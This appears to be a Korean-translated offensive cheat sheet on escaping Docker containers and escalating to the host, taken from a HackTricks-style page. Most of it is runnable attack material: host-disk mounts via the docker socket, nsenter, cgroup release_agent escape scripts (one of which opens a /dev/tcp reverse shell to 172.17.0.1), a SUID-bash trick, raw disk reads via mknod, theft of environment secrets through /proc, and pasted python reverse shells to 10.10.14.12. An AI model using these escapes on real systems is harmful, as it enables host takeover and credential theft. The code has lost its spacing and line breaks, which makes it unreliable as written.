어떤 이유로 도커 소켓이 도커 컨테이너 내부에 마운트되어 있다면, 당신은 그곳에서 탈출할 수 있습니다.
이는 일반적으로 어떤 이유로 도커 데몬에 연결하여 작업을 수행해야 하는 도커 컨테이너에서 발생합니다.
#Search the socketfind/-namedocker.sock2>/dev/null#It's usually in /run/docker.sock
이 경우 일반 docker 명령어를 사용하여 docker 데몬과 통신할 수 있습니다:
#List images to use onedockerimages#Run the image mounting the host disk and chroot on itdockerrun-it-v/:/host/ubuntu:18.04chroot/host/bash# Get full access to the host via ns pid and nsenter clidockerrun-it--rm--pid=host--privilegedubuntubashnsenter--target1--mount--uts--ipc--net--pid--bash# Get full privs in container without --privilegeddockerrun-it-v/:/host/--cap-add=ALL--security-optapparmor=unconfined--security-optseccomp=unconfined--security-optlabel:disable--pid=host--userns=host--uts=host--cgroupns=hostubuntuchroot/host/bash
예상치 못한 위치에 docker socket이 있는 경우에도 docker 명령어와 매개변수 **-H unix:///path/to/docker.sock**를 사용하여 여전히 통신할 수 있습니다.
컨테이너의 권한을 확인해야 하며, 다음 중 하나라도 있다면 탈출할 수 있을 것입니다: CAP_SYS_ADMIN,CAP_SYS_PTRACE, CAP_SYS_MODULE, DAC_READ_SEARCH, DAC_OVERRIDE, CAP_SYS_RAWIO, CAP_SYSLOG, CAP_NET_RAW, CAP_NET_ADMIN
현재 컨테이너 권한을 확인하려면 앞서 언급한 자동 도구를 사용하거나:
capsh--print
다음 페이지에서 리눅스 기능에 대해 더 알아보고 이를 악용하여 권한을 탈출/상승시키는 방법을 배울 수 있습니다:
이 권한으로 루트로 호스트에서 실행 중인 프로세스의 네임스페이스로 이동할 수 있습니다. 예를 들어 init (pid:1)로 다음을 실행합니다: nsenter --target 1 --mount --uts --ipc --net --pid -- bash
컨테이너에서 다음을 실행하여 테스트하십시오:
dockerrun--rm-it--pid=host--privilegedubuntubash
Privileged
privileged 플래그만으로도 호스트의 디스크에 접근하거나 release_agent 또는 다른 탈출을 악용하여 탈출을 시도할 수 있습니다.
다음 우회 방법을 컨테이너에서 실행하여 테스트하십시오:
dockerrun--rm-it--privilegedubuntubash
Mounting Disk - Poc1
잘 구성된 도커 컨테이너는 fdisk -l과 같은 명령을 허용하지 않습니다. 그러나 --privileged 또는 대문자로 지정된 --device=/dev/sda1 플래그가 있는 잘못 구성된 도커 명령에서는 호스트 드라이브를 볼 수 있는 권한을 얻는 것이 가능합니다.
따라서 호스트 머신을 장악하는 것은 사소한 일입니다:
mkdir-p/mnt/holamount/dev/sda1/mnt/hola
그리고 voilà! 이제 /mnt/hola 폴더에 마운트되어 있기 때문에 호스트의 파일 시스템에 접근할 수 있습니다.
디스크 마운트 - Poc2
컨테이너 내에서 공격자는 클러스터에 의해 생성된 쓰기 가능한 hostPath 볼륨을 통해 기본 호스트 OS에 대한 추가 접근을 시도할 수 있습니다. 아래는 이 공격 벡터를 활용할 수 있는지 확인하기 위해 컨테이너 내에서 확인할 수 있는 몇 가지 일반적인 사항입니다:
### Check if You Can Write to a File-systemecho1>/proc/sysrq-trigger### Check root UUIDcat/proc/cmdlineBOOT_IMAGE=/boot/vmlinuz-4.4.0-197-generic root=UUID=b2e62f4f-d338-470e-9ae7-4fc0e014858croconsole=tty1console=ttyS0earlyprintk=ttyS0rootdelay=300# Check Underlying Host FilesystemfindfsUUID=<UUIDValue>/dev/sda1# Attempt to Mount the Host's Filesystemmkdir/mnt-testmount/dev/sda1/mnt-testmount:/mnt:permissiondenied.--->Failed!butifnot,youmayhaveaccesstotheunderlyinghostOSfile-systemnow.### debugfs (Interactive File System Debugger)debugfs/dev/sda1
# spawn a new container to exploit via:# docker run --rm -it --privileged ubuntu bash# Finds + enables a cgroup release_agent# Looks for something like: /sys/fs/cgroup/*/release_agentd=`dirname $(ls-x/s*/fs/c*/*/r*|head-n1)`# If "d" is empty, this won't work, you need to use the next PoC# Enables notify_on_release in the cgroupmkdir-p $d/w;echo1>$d/w/notify_on_release# If you have a "Read-only file system" error, you need to use the next PoC# Finds path of OverlayFS mount for container# Unless the configuration explicitly exposes the mount point of the host filesystem# see https://ajxchapman.github.io/containers/2020/11/19/privileged-container-escape.htmlt=`sed-n 's/overlay \/ .*\perdir=\([^,]*\).*/\1/p' /etc/mtab`# Sets release_agent to /path/payloadtouch/o; echo $t/c> $d/release_agent# Creates a payloadecho"#!/bin/sh">/cecho"ps > $t/o">>/cchmod+x/c# Triggers the cgroup via empty cgroup.procssh-c"echo 0 > $d/w/cgroup.procs"; sleep1# Reads the outputcat/o
# On the hostdockerrun--rm-it--cap-add=SYS_ADMIN--security-optapparmor=unconfinedubuntubash# Mounts the RDMA cgroup controller and create a child cgroup# This technique should work with the majority of cgroup controllers# If you're following along and get "mount: /tmp/cgrp: special device cgroup does not exist"# It's because your setup doesn't have the RDMA cgroup controller, try change rdma to memory to fix itmkdir/tmp/cgrp&&mount-tcgroup-ordmacgroup/tmp/cgrp&&mkdir/tmp/cgrp/x# If mount gives an error, this won't work, you need to use the first PoC# Enables cgroup notifications on release of the "x" cgroupecho1>/tmp/cgrp/x/notify_on_release# Finds path of OverlayFS mount for container# Unless the configuration explicitly exposes the mount point of the host filesystem# see https://ajxchapman.github.io/containers/2020/11/19/privileged-container-escape.htmlhost_path=`sed-n 's/.*\perdir=\([^,]*\).*/\1/p' /etc/mtab`# Sets release_agent to /path/payloadecho"$host_path/cmd">/tmp/cgrp/release_agent#For a normal PoC =================echo'#!/bin/sh'>/cmdecho"ps aux > $host_path/output">>/cmdchmoda+x/cmd#===================================#Reverse shellecho'#!/bin/bash'>/cmdecho"bash -i >& /dev/tcp/172.17.0.1/9000 0>&1">>/cmdchmoda+x/cmd#===================================# Executes the attack by spawning a process that immediately ends inside the "x" child cgroup# By creating a /bin/sh process and writing its PID to the cgroup.procs file in "x" child cgroup directory# The script on the host will execute after /bin/sh exitssh-c"echo \$\$ > /tmp/cgrp/x/cgroup.procs"# Reads the outputcat/output
Privileged Escape Abusing release_agent without known the relative path - PoC3
In the previous exploits the absolute path of the container inside the hosts filesystem is disclosed. 그러나, 항상 그런 것은 아닙니다. 호스트 내부의 컨테이너의 절대 경로를 모르는 경우 이 기술을 사용할 수 있습니다:
#!/bin/shOUTPUT_DIR="/"MAX_PID=65535CGROUP_NAME="xyx"CGROUP_MOUNT="/tmp/cgrp"PAYLOAD_NAME="${CGROUP_NAME}_payload.sh"PAYLOAD_PATH="${OUTPUT_DIR}/${PAYLOAD_NAME}"OUTPUT_NAME="${CGROUP_NAME}_payload.out"OUTPUT_PATH="${OUTPUT_DIR}/${OUTPUT_NAME}"# Run a process for which we can search for (not needed in reality, but nice to have)sleep10000&# Prepare the payload script to execute on the hostcat> ${PAYLOAD_PATH} <<__EOF__#!/bin/shOUTPATH=\$(dirname \$0)/${OUTPUT_NAME}# Commands to run on the host<ps -eaf > \${OUTPATH} 2>&1__EOF__# Make the payload script executablechmoda+x ${PAYLOAD_PATH}# Set up the cgroup mount using the memory resource cgroup controllermkdir ${CGROUP_MOUNT}mount-tcgroup-omemorycgroup ${CGROUP_MOUNT}mkdir ${CGROUP_MOUNT}/${CGROUP_NAME}echo1> ${CGROUP_MOUNT}/${CGROUP_NAME}/notify_on_release# Brute force the host pid until the output path is created, or we run out of guessesTPID=1while [ !-f ${OUTPUT_PATH} ]doif [ $((${TPID} % 100)) -eq0 ]thenecho"Checking pid ${TPID}"if [ ${TPID} -gt ${MAX_PID} ]thenecho"Exiting at ${MAX_PID} :-("exit1fifi# Set the release_agent path to the guessed pidecho"/proc/${TPID}/root${PAYLOAD_PATH}"> ${CGROUP_MOUNT}/release_agent# Trigger execution of the release_agentsh-c"echo \$\$ > ${CGROUP_MOUNT}/${CGROUP_NAME}/cgroup.procs"TPID=$((${TPID} + 1))done# Wait for and cat the outputsleep1echo"Done! Output:"cat ${OUTPUT_PATH}
여러 경우에 컨테이너가 호스트에서 일부 볼륨을 마운트하고 있는 것을 발견할 수 있습니다. 이 볼륨이 올바르게 구성되지 않았다면 민감한 데이터에 접근/수정할 수 있을지도 모릅니다: 비밀 읽기, ssh authorized_keys 변경…
dockerrun--rm-it-v/:/hostubuntubash
Privilege Escalation with 2 shells and host mount
호스트에서 마운트된 폴더가 있는 컨테이너 내부의 root로 접근할 수 있고, 비특권 사용자로 호스트에 탈출하여 마운트된 폴더에 대한 읽기 권한이 있는 경우,
컨테이너 내부의 마운트된 폴더에 bash suid 파일을 생성하고 호스트에서 실행하여 권한 상승을 할 수 있습니다.
cp/bin/bash.#From non priv inside mounted folder# You need to copy it from the host as the bash binaries might be diferent in the host and in the containerchownroot:rootbash#From container as root inside mounted folderchmod4777bash#From container as root inside mounted folderbash-p#From non priv inside mounted folder
Privilege Escalation with 2 shells
컨테이너 내에서 root로 접근할 수 있고 비특권 사용자로 호스트에 탈출했다면, 두 개의 셸을 악용하여 호스트 내에서 privesc를 수행할 수 있습니다. 컨테이너 내에서 MKNOD 권한이 있는 경우(기본적으로 활성화됨) 이 게시물에서 설명된 대로입니다.
이러한 권한을 통해 컨테이너 내의 root 사용자는 블록 장치 파일을 생성할 수 있습니다. 장치 파일은 기본 하드웨어 및 커널 모듈에 접근하는 데 사용되는 특수 파일입니다. 예를 들어, /dev/sda 블록 장치 파일은 시스템 디스크의 원시 데이터를 읽는 데 접근을 제공합니다.
Docker는 cgroup 정책을 시행하여 컨테이너 내에서 블록 장치 오용을 방지하며, 이는 블록 장치 읽기/쓰기 작업을 차단합니다. 그럼에도 불구하고, 블록 장치가 컨테이너 내에서 생성되면, /proc/PID/root/ 디렉토리를 통해 컨테이너 외부에서 접근할 수 있게 됩니다. 이 접근은 프로세스 소유자가 컨테이너 내부와 외부에서 동일해야 합니다.
# On the container as rootcd/# Crate devicemknodsdab80# Give access to itchmod777sda# Create the nonepriv user of the host inside the container## In this case it's called augustus (like the user from the host)echo"augustus:x:1000:1000:augustus,,,:/home/augustus:/bin/bash">>/etc/passwd# Get a shell as augustus inside the containersuaugustussu:Authenticationfailure(Ignored)augustus@3a453ab39d3d:/backend$/bin/sh/bin/sh$
# On the host# get the real PID of the shell inside the container as the new https://app.gitbook.com/s/-L_2uGJGU7AVNRcqRvEi/~/changes/3847/linux-hardening/privilege-escalation/docker-breakout/docker-breakout-privilege-escalation#privilege-escalation-with-2-shells useraugustus@GoodGames:~$ps-auxf|grep/bin/shroot14960.00.04292744?S09:300:00 \_ /bin/sh-cpython3-c'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.14.12",4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn("sh")'root16270.00.04292756?S09:440:00 \_ /bin/sh-cpython3-c'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.14.12",4445));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn("sh")'augustus16590.00.04292712?S+09:480:00 \_ /bin/shaugustus16610.00.06116648pts/0S+09:480:00 \_ grep/bin/sh# The process ID is 1659 in this case# Grep for the sda for HTB{ through the process:augustus@GoodGames:~$grep-a'HTB{'/proc/1659/root/sdaHTB{7h4T_w45_Tr1cKy_1_D4r3_54y}
hostPID
호스트의 프로세스에 접근할 수 있다면, 해당 프로세스에 저장된 많은 민감한 정보에 접근할 수 있게 됩니다. 테스트 실험실 실행:
docker run --rm -it --pid=host ubuntu bash
예를 들어, ps auxn과 같은 명령어를 사용하여 프로세스를 나열하고 명령어에서 민감한 세부정보를 검색할 수 있습니다.
그런 다음, /proc/에서 호스트의 각 프로세스에 접근할 수 있으므로 env 비밀을 훔칠 수 있습니다:
for e in`ls/proc/*/environ`; doecho; echo $e; xargs-0-L1-a $e; done/proc/988058/environPATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/binHOSTNAME=argocd-server-69678b4f65-6mmqlUSER=abrgocd...
당신은 또한 다른 프로세스의 파일 설명자에 접근하고 그들의 열린 파일을 읽을 수 있습니다:
for fd in`find/proc/*/fd`; dols-al $fd/*2>/dev/null|grep \>; done> fds.txtlessfds.txt...omittedforbrevity...lrwx------1rootroot64Jun1502:25/proc/635813/fd/2 ->/dev/pts/0lrwx------1rootroot64Jun1502:25/proc/635813/fd/4 ->/.secret.txt.swp# You can open the secret filw with:cat/proc/635813/fd/4
당신은 또한 프로세스를 종료하고 DoS를 유발할 수 있습니다.
만약 당신이 컨테이너 외부의 프로세스에 대한 권한 있는 접근을 somehow 가지고 있다면, nsenter --target <pid> --all 또는 nsenter --target <pid> --mount --net --pid --cgroup와 같은 명령을 실행하여 해당 프로세스와 동일한 ns 제한(바라건대 없음) 으로 셸을 실행할 수 있습니다.
hostNetwork
docker run --rm -it --network=host ubuntu bash
만약 컨테이너가 Docker 호스트 네트워킹 드라이버 (--network=host)로 구성되었다면, 해당 컨테이너의 네트워크 스택은 Docker 호스트와 격리되지 않으며(컨테이너는 호스트의 네트워킹 네임스페이스를 공유함), 컨테이너는 자체 IP 주소를 할당받지 않습니다. 다시 말해, 컨테이너는 모든 서비스를 호스트의 IP에 직접 바인딩합니다. 게다가 컨테이너는 호스트가 공유 인터페이스 tcpdump -i eth0에서 송수신하는 모든 네트워크 트래픽을 가로챌 수 있습니다.
예를 들어, 이를 사용하여 호스트와 메타데이터 인스턴스 간의 트래픽을 스니핑하고 심지어 스푸핑할 수 있습니다.
또한 호스트 내부의 로컬호스트에 바인딩된 네트워크 서비스에 접근하거나 노드의 메타데이터 권한에 접근할 수 있습니다(이는 컨테이너가 접근할 수 있는 것과 다를 수 있습니다).
hostIPC
dockerrun--rm-it--ipc=hostubuntubash
hostIPC=true를 사용하면 호스트의 프로세스 간 통신(IPC) 리소스에 접근할 수 있습니다. 예를 들어, /dev/shm의 공유 메모리와 같은 리소스입니다. 이는 다른 호스트 또는 포드 프로세스에서 동일한 IPC 리소스를 사용하여 읽기/쓰기가 가능하게 합니다. 이러한 IPC 메커니즘을 더 자세히 검사하려면 ipcs를 사용하세요.
/dev/shm 검사 - 이 공유 메모리 위치에서 파일을 찾아보세요: ls -la /dev/shm
기존 IPC 시설 검사 – /usr/bin/ipcs를 사용하여 어떤 IPC 시설이 사용되고 있는지 확인할 수 있습니다. 다음과 같이 확인하세요: ipcs -a
권한 복구
시스템 호출 **unshare**가 금지되지 않았다면, 모든 권한을 복구할 수 있습니다:
unshare-UrmCpfbash# Check them withcat/proc/self/status|grepCapEff
루트로 docker exec를 실행할 수 있는 경우(아마도 sudo를 사용하여), CVE-2019-5736을 남용하여 컨테이너에서 탈출하여 권한 상승을 시도합니다(익스플로잇 여기). 이 기술은 기본적으로 호스트의 _/bin/sh**_ 바이너리를 컨테이너에서 덮어씌우는 것입니다. 따라서 docker exec를 실행하는 모든 사용자가 페이로드를 트리거할 수 있습니다.
페이로드를 적절히 변경하고 go build main.go로 main.go를 빌드합니다. 결과 바이너리는 실행을 위해 도커 컨테이너에 배치해야 합니다.
실행 시 [+] Overwritten /bin/sh successfully가 표시되면 호스트 머신에서 다음을 실행해야 합니다:
네임스페이스: 프로세스는 네임스페이스를 통해 다른 프로세스와 완전히 분리되어야 하므로, 네임스페이스로 인해 다른 프로세스와 상호작용하여 탈출할 수 없습니다(기본적으로 IPC, 유닉스 소켓, 네트워크 서비스, D-Bus, 다른 프로세스의 /proc를 통해 통신할 수 없음).
루트 사용자: 기본적으로 프로세스를 실행하는 사용자는 루트 사용자입니다(그러나 권한은 제한적입니다).
능력: 도커는 다음 능력을 남깁니다: cap_chown,cap_dac_override,cap_fowner,cap_fsetid,cap_kill,cap_setgid,cap_setuid,cap_setpcap,cap_net_bind_service,cap_net_raw,cap_sys_chroot,cap_mknod,cap_audit_write,cap_setfcap=ep
시스템 호출: 루트 사용자가 호출할 수 없는 시스템 호출입니다(능력 부족 + Seccomp로 인해). 다른 시스템 호출은 탈출을 시도하는 데 사용될 수 있습니다.
// From a conversation I had with @arget131// Fir bfing syscalss in x64#include<sys/syscall.h>#include<unistd.h>#include<stdio.h>#include<errno.h>intmain(){for(int i =0; i <333; ++i){if(i == SYS_rt_sigreturn) continue;if(i == SYS_select) continue;if(i == SYS_pause) continue;if(i == SYS_exit_group) continue;if(i == SYS_exit) continue;if(i == SYS_clone) continue;if(i == SYS_fork) continue;if(i == SYS_vfork) continue;if(i == SYS_pselect6) continue;if(i == SYS_ppoll) continue;if(i == SYS_seccomp) continue;if(i == SYS_vhangup) continue;if(i == SYS_reboot) continue;if(i == SYS_shutdown) continue;if(i == SYS_msgrcv) continue;printf("Probando: 0x%03x . . . ", i); fflush(stdout);if((syscall(i,NULL,NULL,NULL,NULL,NULL,NULL)<0) && (errno == EPERM))printf("Error\n");elseprintf("OK\n");}}```
Container Breakout through Usermode helper Template
If you are in userspace (no kernel exploit involved) the way to find new escapes mainly involve the following actions (these templates usually require a container in privileged mode):
Find the path of the containers filesystem inside the host
You can do this via mount, or via brute-force PIDs as explained in the second release_agent exploit
Find some functionality where you can indicate the path of a script to be executed by a host process (helper) if something happens
You should be able to execute the trigger from inside the host
You need to know where the containers files are located inside the host to indicate a script you write inside the host
Have enough capabilities and disabled protections to be able to abuse that functionality
You might need to mount things o perform special privileged actions you cannot do in a default docker container